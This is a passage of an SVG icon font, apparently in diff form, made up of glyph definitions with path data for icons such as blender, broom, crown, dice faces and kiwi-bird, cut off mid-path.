glyph-name="blender" unicode="" +d="M416 64c35.3496 0 64 -28.6504 64 -64v-32c0 -17.6699 -14.3301 -32 -32 -32h-320c-17.6699 0 -32 14.3301 -32 32v32c0 35.3496 28.6504 64 64 64h256zM288 -32c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM328 384 +c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h157.82l-17.46 -64h-140.36c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h131.64l-17.46 -64h-114.18c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h105.46l-17.46 -64 +h-256l-8.73047 96h-103.27c-26.5098 0 -48 21.4902 -48 48v160c0 26.5098 21.4902 48 48 48h464l-17.46 -64h-166.54zM64 256h81.46l-11.6396 128h-69.8203v-128z" /> + <glyph glyph-name="book-open" unicode="" horiz-adv-x="576" +d="M542.22 415.95c18.4199 1.04004 33.7803 -12.9902 33.7705 -30.7002v-337.84c0 -16.2305 -13.1299 -29.7705 -30.0205 -30.6602c-49.4697 -2.59961 -149.52 -12.0996 -218.7 -46.9199c-10.6494 -5.36035 -23.2793 1.93945 -23.2793 13.4902v363.87 +c0 5.2793 2.62988 10.3291 7.26953 13.1699c67.2402 41.1592 176.16 52.4795 230.96 55.5898zM264.73 360.36c4.64941 -2.85059 7.26953 -7.7002 7.26953 -12.9902v-364.12c0 -11.5195 -12.5898 -18.8096 -23.21 -13.46c-69.1797 34.8398 -169.28 44.3496 -218.771 46.9502 +c-16.8896 0.879883 -30.0195 14.4199 -30.0195 30.6602v337.85c0 17.71 15.3604 31.7402 33.7803 30.7002c54.7998 -3.12012 163.72 -14.4307 230.95 -55.5898z" /> + <glyph glyph-name="broadcast-tower" unicode="" horiz-adv-x="640" +d="M150.94 256c-7.01074 0 -13.46 4.5 -15.4004 11.2402c-4.90039 16.9697 -7.54004 34.6396 -7.54004 52.7598s2.63965 35.79 7.53027 52.7695c1.9502 6.74023 8.39941 11.2305 15.4102 11.2305h33.7295c11.0098 0 18.6201 -10.8301 14.8604 -21.1797 +c-4.93066 -13.5801 -7.5498 -27.9805 -7.5498 -42.8203s2.61914 -29.2402 7.5498 -42.8203c3.75 -10.3496 -3.85059 -21.1797 -14.8604 -21.1797h-33.7295zM89.9199 424.66c-16.54 -31.1406 -49.6104 -115.97 0.169922 -209.29 +c5.66016 -10.6299 -1.92969 -23.3701 -13.9502 -23.3701h-34.8398c-6.18945 0 -11.9902 3.50977 -14.6094 9.13965c-23.5703 50.5303 -26.6904 94.1104 -26.6904 118.86c0 42.3496 9.40039 82.46 25.8896 118.69c2.60059 5.71973 8.4707 9.30957 14.7402 9.30957h35.3301 +c12.0098 0 19.5996 -12.7197 13.96 -23.3398zM614.06 438.71c16.5205 -36.2295 25.9404 -76.3496 25.9404 -118.71s-9.42969 -82.4805 -25.96 -118.71c-2.59961 -5.70996 -8.45996 -9.29004 -14.7305 -9.29004h-35.2295c-12.1104 0 -19.6299 12.8398 -13.9102 23.5195 +c48.1396 89.8105 17.9902 174.94 -0.280273 209.23c-5.63965 10.5898 2.04004 23.25 14.0205 23.25h35.4199c6.26953 0 12.1299 -3.58008 14.7295 -9.29004zM489.06 384c7.01074 0 13.46 -4.49023 15.4004 -11.2402c4.90039 -16.9697 7.54004 -34.6396 7.54004 -52.7598 +s-2.62988 -35.79 -7.53027 -52.7598c-1.9502 -6.75 -8.38965 -11.2402 -15.4102 -11.2402h-33.7295c-11.0098 0 -18.6201 10.8301 -14.8604 21.1797c4.93066 13.5801 7.5498 27.9805 7.5498 42.8203s-2.61914 29.2402 -7.5498 42.8203 +c-3.75 10.3496 3.85059 21.1797 14.8604 21.1797h33.7295zM372.76 283.88l130.5 -313.41c3.39062 -8.14941 -0.459961 -17.5195 -8.60938 -20.9199l-29.5107 -12.3096c-8.14941 -3.40039 -17.5098 0.450195 -20.9092 8.60938l-49.2002 118.15h-150.07l-49.1904 -118.15 +c-3.38965 -8.14941 -12.7598 -12.0098 -20.9092 -8.60938l-29.5107 12.3096c-8.14941 3.40039 -12.0098 12.7705 -8.60938 20.9199l130.5 313.41c-7.0498 10.29 -11.2002 22.71 -11.2002 36.1201c0 35.3496 28.6396 64 63.96 64c35.3301 0 63.96 -28.6504 63.96 -64 +c0 -13.4102 -4.15039 -25.8301 -11.2002 -36.1201zM271.62 128h96.7598l-48.3799 116.19z" /> + <glyph glyph-name="broom" unicode="" horiz-adv-x="640" +d="M256.47 231.23l86.7305 -109.181s-16.6006 -102.359 -76.5703 -150.12c-59.9697 -47.7793 -266.63 -34.1201 -266.63 -34.1201s3.7998 23.1406 11 55.4307l94.6201 112.17c3.96973 4.7002 -0.870117 11.6201 -6.65039 9.5l-60.3994 -22.0898 +c14.4395 41.6602 32.7197 80.04 54.5996 97.4697c59.9697 47.7598 163.3 40.9404 163.3 40.9404zM636.53 416.97c5.48926 -6.91016 4.33984 -16.96 -2.5498 -22.4395l-232.48 -177.8l34.0898 -42.9209c5.08008 -6.39941 1.66016 -15.9092 -6.33984 -17.5996 +l-58.7998 -12.4502l-86.7305 109.181l25.3301 54.5498c3.4502 7.41992 13.5 8.62012 18.5898 2.20996l34.1406 -42.9697l232.479 177.8c6.89062 5.48926 16.9199 4.33984 22.4102 -2.56055z" /> + <glyph glyph-name="chalkboard" unicode="" horiz-adv-x="640" +d="M96 384v-352h-64v376c0 22.0596 17.9404 40 40 40h496c22.0596 0 40 -17.9404 40 -40v-376h-64v352h-448zM624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h272v64h192v-64 +h144z" /> + <glyph glyph-name="chalkboard-teacher" unicode="" horiz-adv-x="640" +d="M208 96c62.0596 0 112.33 -50.4805 112 -112.62c-0.139648 -26.2598 -21.7305 -47.3799 -48 -47.3799h-224c-26.2695 0 -47.8604 21.1201 -48 47.3799c-0.330078 62.1396 49.9404 112.62 112 112.62c2.38965 0 4.76953 -0.349609 7.0498 -1.08984 +c12.9697 -4.20996 26.6006 -6.91016 40.9502 -6.91016s27.9805 2.7002 40.9404 6.91016c2.2793 0.740234 4.66992 1.08984 7.05957 1.08984zM160 128c-53.0195 0 -96 42.9805 -96 96s42.9805 96 96 96s96 -42.9805 96 -96s-42.9805 -96 -96 -96zM592 448 +c26.4697 0 48 -22.25 48 -49.5898v-316.82c0 -27.3398 -21.5303 -49.5898 -48 -49.5898h-244.55c-6.57031 25.2695 -20.5898 47.3096 -39.6904 64h76.2402v64h128v-64h64v288h-352v-49.7998c-18.9004 11.0195 -40.5801 17.7998 -64 17.7998v46.4102 +c0 27.3398 21.5303 49.5898 48 49.5898h384z" /> + <glyph glyph-name="church" unicode="" horiz-adv-x="640" +d="M464.46 201.32c9.63965 -5.78027 15.54 -16.2002 15.54 -27.4404v-237.88h-96v96c0 35.3496 -28.6504 64 -64 64s-64 -28.6504 -64 -64v-96h-96v237.88c0 11.6572 6.21387 21.8467 15.54 27.4404l112.46 67.4795v51.2002h-48c-8.83984 0 -16 7.16016 -16 16v32 +c0 8.83984 7.16016 16 16 16h48v48c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-48h48c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-48v-51.2002zM0 52.04c0.00292969 13.1953 7.97949 24.5215 19.3896 29.4199l108.61 46.54 +v-192h-112c-8.83984 0 -16 7.16016 -16 16v100.04zM620.61 81.46c11.7598 -5.0498 19.3896 -16.6201 19.3896 -29.4199v-100.04c0 -8.83984 -7.16016 -16 -16 -16h-112v192z" /> + <glyph glyph-name="coins" unicode="" +d="M0 42.7002c41.2998 -29.1006 116.8 -42.7002 192 -42.7002s150.7 13.5996 192 42.7002v-42.7002c0 -35.2998 -86 -64 -192 -64s-192 28.7002 -192 64v42.7002zM320 320c-106 0 -192 28.7002 -192 64s86 64 192 64s192 -28.7002 192 -64s-86 -64 -192 -64zM0 147.6 +c41.2998 -34 116.9 -51.5996 192 -51.5996s150.7 17.5996 192 51.5996v-51.5996c0 -35.2998 -86 -64 -192 -64s-192 28.7002 -192 64v51.5996zM416 136.6v63.6006c38.7002 6.89941 72.7998 18.0996 96 34.5v-42.7002c0 -23.7002 -38.7002 -44.2998 -96 -55.4004zM192 288 +c106 0 192 -35.7998 192 -80s-86 -80 -192 -80s-192 35.7998 -192 80s86 80 192 80zM411.3 231.7c-8.7998 23.7002 -30.5 42.8994 -60 57.2002c64.2002 3.19922 125.2 16.6992 160.7 41.7998v-42.7002c0 -24.2998 -40.7002 -45.5 -100.7 -56.2998z" /> + <glyph glyph-name="compact-disc" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM88 192c0 88.2002 71.7998 160 160 160v32c-105.9 0 -192 -86.0996 -192 -192h32zM248 96c53 0 96 43 96 96s-43 96 -96 96s-96 -43 -96 -96s43 -96 96 -96zM248 224 +c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z" /> + <glyph glyph-name="crow" unicode="" horiz-adv-x="640" +d="M544 416c53.0195 0 96 -28.6504 96 -64l-96 -16v-80c0 -87.2598 -58.2598 -160.8 -137.97 -184.14l41.2393 -111.53c2.27051 -6.23047 -0.939453 -13.1104 -7.16992 -15.3799l-22.5498 -8.20996c-6.22949 -2.27051 -13.1094 0.939453 -15.3799 7.16992l-44.5098 120.38 +c-1.90039 -0.0595703 -3.75 -0.290039 -5.66016 -0.290039h-39.0596l38.3291 -103.68c2.27051 -6.23047 -0.939453 -13.1104 -7.16992 -15.3799l-22.5498 -8.20996c-6.22949 -2.27051 -13.1094 0.939453 -15.3799 7.16992l-44.4102 120.1h-96.4902l-121.539 -60.7695 +c-20.0908 -10.04 -43.7305 4.56934 -43.7305 27.0293c0.00195312 9.8877 4.7373 18.6572 12.0898 24.1699l371.91 292.59v20.9805c0 44.1797 35.8203 80 80 80c26.0898 0 49.04 -12.6797 63.6396 -32h16.3604zM464 344c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24 +s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" /> + <glyph glyph-name="crown" unicode="" horiz-adv-x="640" +d="M528 0c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-416c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h416zM592 320c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48c-2.59961 0 -5.2002 0.400391 -7.7002 0.799805l-72.2998 -192.8h-384 +l-72.2998 192.8c-2.5 -0.399414 -5.10059 -0.799805 -7.7002 -0.799805c-26.5 0 -48 21.5 -48 48s21.5996 48 48.0996 48s48 -21.5 48 -48c0 -7.09961 -1.69922 -13.7998 -4.39941 -19.7998l72.2998 -43.4004c15.2998 -9.2002 35.2998 -4 44.2002 11.6006l81.5 142.6 +c-10.7002 8.7998 -17.7002 22 -17.7002 37c0 26.5 21.5 48 48 48s48 -21.5 48 -48c0 -15 -7 -28.2002 -17.7002 -37l81.5 -142.6c8.90039 -15.6006 28.7998 -20.8008 44.2002 -11.6006l72.4004 43.4004c-2.80078 6.09961 -4.40039 12.7002 -4.40039 19.7998 +c0 26.5 21.5 48 48 48z" /> + <glyph glyph-name="dice" unicode="" horiz-adv-x="640" +d="M592 256c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-224c-26.5098 0 -48 21.4902 -48 48v46.4199l136.26 136.26c24.1201 24.1201 29.6904 59.7305 17 89.3203h118.74zM480 72c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24 +s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM433.63 258.7c19.1602 -19.1602 19.1602 -50.2305 0 -69.4004l-174.939 -174.93c-19.1602 -19.1602 -50.2305 -19.1602 -69.3906 0l-174.93 174.939c-19.1602 19.1602 -19.1602 50.2305 0 69.3906l174.939 174.93 +c19.1602 19.1602 50.2305 19.1602 69.3906 0zM96 200c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM224 72c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z +M224 200c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM224 328c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM352 200c13.25 0 24 10.75 24 24 +c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" /> + <glyph glyph-name="dice-five" unicode="" horiz-adv-x="448" +d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 256 +c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM224 160c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32 +s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="dice-four" unicode="" horiz-adv-x="448" +d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 256 +c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32 +s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="dice-one" unicode="" horiz-adv-x="448" +d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM224 160c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="dice-six" unicode="" horiz-adv-x="448" +d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 160 +c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32 +s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 160c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="dice-three" unicode="" horiz-adv-x="448" +d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM224 160 +c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="dice-two" unicode="" horiz-adv-x="448" +d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64 +c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="divide" unicode="" horiz-adv-x="448" +d="M224 96c35.3496 0 64 -28.6504 64 -64s-28.6504 -64 -64 -64s-64 28.6504 -64 64s28.6504 64 64 64zM224 288c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64s64 -28.6504 64 -64s-28.6504 -64 -64 -64zM416 240c17.6699 0 32 -14.3301 32 -32v-32 +c0 -17.6699 -14.3301 -32 -32 -32h-384c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h384z" /> + <glyph glyph-name="door-closed" unicode="" horiz-adv-x="640" +d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h111.99v397.2c0 28.0195 21.5293 50.7998 48 50.7998h288.01c26.4697 0 48 -22.7803 48 -50.7998v-397.2h112zM415.99 160 +c17.6797 0 32.0098 14.3301 32 32c0 17.6699 -14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="door-open" unicode="" horiz-adv-x="640" +d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-144v384h-96v64h112c26.4697 0 48 -22.1904 48 -49.4502v-334.55h80zM312.24 446.99c20.2002 5.24023 39.7598 -10.5898 39.7598 -32.1699v-478.82h-336c-8.83984 0 -16 7.16016 -16 16v32 +c0 8.83984 7.16016 16 16 16h80v365.08c0 15.2197 9.99023 28.4795 24.2402 32.1699zM264 160c13.25 0 24 14.3301 24 32s-10.75 32 -24 32s-24 -14.3301 -24 -32s10.75 -32 24 -32z" /> + <glyph glyph-name="equals" unicode="" horiz-adv-x="448" +d="M416 144c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-384c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h384zM416 336c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-384c-17.6699 0 -32 14.3301 -32 32 +v32c0 17.6699 14.3301 32 32 32h384z" /> + <glyph glyph-name="feather" unicode="" +d="M467.14 403.16c50.5703 -50.5205 61.7002 -124.9 16.2607 -199.36l-131.54 -43.7998h97.7793c-9.92969 -10.6797 3.68066 3.07031 -46.3096 -46.8604l-147.57 -49.1396h98.1904c-74.9502 -73.1104 -194.53 -70.6504 -246.83 -54.9404l-66.1006 -66.0293 +c-9.37988 -9.37012 -24.5996 -9.37012 -33.9795 0s-9.37988 24.5693 0 33.9395l259.52 259.25c6.25 6.25 6.25 16.3799 0 22.6299s-16.3896 6.25 -22.6494 0l-178.44 -178.25c-6.75 60.3408 3.18066 150.78 63.6406 211.17c24.7695 24.7402 7.13965 7.14062 85.75 85.6602 +c90.6094 90.5107 189.729 88.21 252.279 25.7305z" /> + <glyph glyph-name="frog" unicode="" horiz-adv-x="576" +d="M446.53 350.57c0 0 58.4297 -19.0605 98.9893 -41.2803c18.7607 -10.2803 30.4805 -29.8301 30.4805 -51.2305c0 -21.793 -11.9512 -40.7695 -29.71 -50.7295l-154.44 -86.6504l98.5205 -104.68h53.6299c17.6699 0 32 -14.3301 32 -32c0 -8.83984 -7.16016 -16 -16 -16 +h-90.3799l-118.53 125.94c5.07031 54.1494 -29.9297 85.0596 -40.7998 93.21c-36.8496 27.6191 -88.29 27.6592 -125.13 0l-34.7803 -26.0908c-7.07031 -5.2998 -8.49023 -15.3291 -3.18945 -22.4092c5.31934 -7.10059 15.3496 -8.5 22.4092 -3.19043l32.7607 24.5898 +c20.6895 15.5303 48.3496 20.8105 72.2393 10.8799c44.0605 -18.3193 57.8506 -70.3701 33.71 -106.6l-35.7998 -48.3301h79.4902c17.6699 0 32 -14.3301 32 -32c0 -8.83984 -7.16016 -16 -16 -16h-304c-34.9199 0 -63.8896 28.0996 -64 63.0195 +c-0.5 166.86 126.75 304.021 289.46 319.44c6.82031 37.25 39.3096 65.54 78.54 65.54c39.1904 0 71.6699 -28.2305 78.5303 -65.4297zM368 312c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24c-13.2598 0 -24 -10.7402 -24 -24c0 -13.25 10.7402 -24 24 -24z" /> + <glyph glyph-name="gas-pump" unicode="" +d="M336 0c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-320c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h320zM493.2 340.7c12 -12 18.7998 -28.2998 18.7998 -45.2998v-223.4c0 -42.2002 -36.5 -76 -79.5 -71.7002 +c-37.5 3.90039 -64.5 38.2002 -64.5 75.9004v27.7998c0 22.0996 -17.9004 40 -40 40h-8v-112h-288v352c0 35.2998 28.7002 64 64 64h160c35.2998 0 64 -28.7002 64 -64v-192h8c48.5996 0 88 -39.4004 88 -88v-32c0 -13.2002 10.7998 -24 24 -24s24 10.7998 24 24v160.8 +c-27.0996 3.90039 -48 27.1006 -48 55.2002v62.0996l-37.7002 37.7002c-6.2002 6.2002 -6.2002 16.4004 0 22.6006l11.2998 11.2998c6.2002 6.2002 16.4004 6.2002 22.6006 0zM256 256v128h-160v-128h160z" /> + <glyph glyph-name="glasses" unicode="" horiz-adv-x="576" +d="M574.1 167.63c1.26074 -5.07031 1.90039 -10.2695 1.90039 -15.5v-70.25c0 -62.8896 -51.5801 -113.88 -115.2 -113.88h-37.1201c-60.2793 0 -110.37 45.9404 -114.87 105.37l-2.92969 38.6299h-35.75l-2.92969 -38.6299 +c-4.50977 -59.4297 -54.6006 -105.37 -114.88 -105.37h-37.1201c-63.6201 0 -115.2 50.9902 -115.2 113.89v70.25c0.000976562 5.35059 0.663086 10.5205 1.90039 15.4902l45.3398 181.73c5.91016 23.6895 21.5898 44.0293 43 55.7998 +c21.4395 11.7402 46.9697 14.1094 70.1895 6.33008l15.25 -5.08008c8.39062 -2.79004 12.9199 -11.8604 10.1201 -20.2402l-5.05957 -15.1797c-2.79004 -8.37988 -11.8506 -12.9102 -20.2305 -10.1201l-13.1699 4.38965 +c-10.8701 3.62012 -22.9902 3.57031 -33.1494 -1.72949c-10.29 -5.36035 -17.5908 -14.5605 -20.3809 -25.8105l-38.46 -153.83c22.1904 6.81055 49.79 12.46 81.21 12.46c34.7803 0 73.9902 -7.00977 114.86 -26.75h73.1797 +c40.8701 19.7207 80.0801 26.7402 114.851 26.7402c31.4102 0 59.0098 -5.64941 81.2002 -12.46l-38.46 153.82c-2.80078 11.2598 -10.0801 20.4502 -20.3701 25.8193c-10.1602 5.30078 -22.29 5.35059 -33.1602 1.73047l-13.1797 -4.38965 +c-8.38086 -2.79004 -17.4404 1.73926 -20.2305 10.1201l-5.05957 15.1797c-2.80078 8.37988 1.72949 17.4502 10.1191 20.2402l15.25 5.08008c23.2207 7.7793 48.75 5.39941 70.1904 -6.33008c21.4102 -11.7607 37.0898 -32.1104 43 -55.8105zM203.38 78.21l3.12988 41.2197 +c-22.6699 8.58984 -46.0693 12.9199 -69.9297 12.9199c-29.1602 0 -54.46 -6.42969 -72.5801 -12.9199v-37.54c0 -27.5098 22.9697 -49.8896 51.2002 -49.8896h37.1201c26.6602 0 49.0898 20.2998 51.0596 46.21zM512 81.8799l-0.00976562 37.54 +c-18.1201 6.49023 -43.4307 12.9297 -72.5498 12.9297c-23.8701 0 -47.2803 -4.33008 -69.9502 -12.9199l3.12988 -41.2197c1.95996 -25.9102 24.3896 -46.21 51.0596 -46.21h37.1201c28.2305 0 51.2002 22.3701 51.2002 49.8799z" /> + <glyph glyph-name="greater-than" unicode="" horiz-adv-x="384" +d="M365.52 238.15c11.2803 -5.25 18.4805 -16.5605 18.4902 -29.0107v-34.2295c-0.00195312 -12.8398 -7.55469 -23.9062 -18.4795 -29l-306.471 -142.91c-16.0195 -7.46973 -35.0596 -0.540039 -42.5293 15.4805l-13.5205 29 +c-7.46973 16.0195 -0.540039 35.0596 15.4805 42.5293l218.47 101.891l-218.43 101.85c-16.0605 7.49023 -23.0107 26.5801 -15.5205 42.6396l13.5703 29.0801c7.49023 16.0605 26.5801 23.0107 42.6396 15.5205z" /> + <glyph glyph-name="greater-than-equal" unicode="" horiz-adv-x="448" +d="M55.2197 340.31c-18.29 6 -27.7393 24.2607 -21.0996 40.79l12.0303 29.9199c6.63965 16.5303 26.8594 25.0605 45.1494 19.0605l301.72 -119.98c13.7705 -4.51953 22.9805 -16.6094 22.9805 -30.1699v-15.96c0 -13.5596 -9.20996 -25.6494 -22.9805 -30.1699 +l-301.409 -119.859c-18.3906 -6.04004 -38.7002 2.54004 -45.3799 19.1494l-12.0908 30.0801c-6.67969 16.6104 2.81055 34.9697 21.2002 41l175.44 68.0498zM424 48c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-400c-13.25 0 -24 10.75 -24 24v48 +c0 13.2598 10.75 24 24 24h400z" /> + <glyph glyph-name="helicopter" unicode="" horiz-adv-x="640" +d="M304 64c-10.4707 0 -19.7627 5.01465 -25.5996 12.7998l-86.4004 115.2l-160 64l-31.5098 108.12c-2.53027 10.0996 5.10938 19.8799 15.5195 19.8799h39.9902c5.03027 0 9.78027 -2.37012 12.7998 -6.40039l43.2002 -57.5996h208v64h-176c-8.83984 0 -16 7.16016 -16 16 +v32c0 8.83984 7.16016 16 16 16h416c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-176v-64c123.71 0 224 -100.29 224 -224c0 -17.6699 -14.3301 -32 -32 -32h-272zM416 252.49v-124.49h124.79c-12.7598 62.5596 -62.2402 111.7 -124.79 124.49z +M635.37 -10.8096c6.58984 -6.61035 6.04004 -17.5205 -0.980469 -23.6602c-33.1494 -29.0498 -53.5693 -29.5205 -68.4492 -29.5205h-325.94c-8.83984 0 -16 7.18066 -16 16.0303v32.0596c0 8.85059 7.16016 16.0303 16 16.0303h325.94 +c10.7998 0 17.5498 4.48047 24.6396 11.25c6.40039 6.11035 16.3896 6.27051 22.6396 0.00976562z" /> + <glyph glyph-name="infinity" unicode="" horiz-adv-x="640" +d="M471.1 352c93.1006 0 168.9 -71.7998 168.9 -160s-75.7998 -160 -168.9 -160c-66.0996 0 -117.8 41.2998 -151.1 78.5996c-33.2998 -37.2998 -85 -78.5996 -151.1 -78.5996c-93.1006 0 -168.9 71.7998 -168.9 160s75.7998 160 168.9 160 +c66.0996 0 117.8 -41.2998 151.1 -78.5996c33.2998 37.2998 85 78.5996 151.1 78.5996zM168.9 128c38.0996 0 73.5996 36.4004 94 64c-20.6006 27.9004 -55.8008 64 -94 64c-40.2002 0 -72.9004 -28.7002 -72.9004 -64s32.7002 -64 72.9004 -64zM471.1 128 +c40.2002 0 72.9004 28.7002 72.9004 64s-32.7002 64 -72.9004 64c-38.0996 0 -73.5996 -36.4004 -94 -64c20.6006 -27.9004 55.8008 -64 94 -64z" /> + <glyph glyph-name="kiwi-bird" unicode="" horiz-adv-x="576" +d="M575.81 230.02c0.300781 -5.7793 0.160156 -246.02 0.160156 -246.02c0 -7.30957 -4.95996 -13.7002 -12.0498 -15.5c-1.30957 -0.339844 -2.63965 -0.5 -3.9502 -0.5c-5.75 0 -11.1895 3.11035 -14.0498 8.33984l-74.4102 136.44 +c-7.04004 -0.470703 2.43066 -0.780273 -23.0498 -0.780273c-54.5996 0 -106.39 -19.25 -152.13 -49.0596c-12.46 -8.12012 -26.0996 -14.4502 -40.3398 -19.5107v-59.4297c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v49.1797 +c-5.32031 -0.449219 -10.5605 -1.17969 -16 -1.17969c-16.6006 0 -32.6406 2.2998 -48 6.25977v-54.2598c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v73.9902c-57.3105 33.21 -95.9502 95.0596 -95.9902 166.01 +c-0.0800781 145.76 129.3 182.88 147.31 186.94c57.1709 12.9199 111.221 0.259766 153.21 -28.7002c43.4902 -29.9902 94.9209 -46.2402 147.74 -46.2402h9.37012c60.6504 0 115.01 -45.4102 118.18 -105.98zM463.97 200c13.25 0 24 10.75 24 24 +c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM543.97 46.75v99.0596c-11.1299 -11.3799 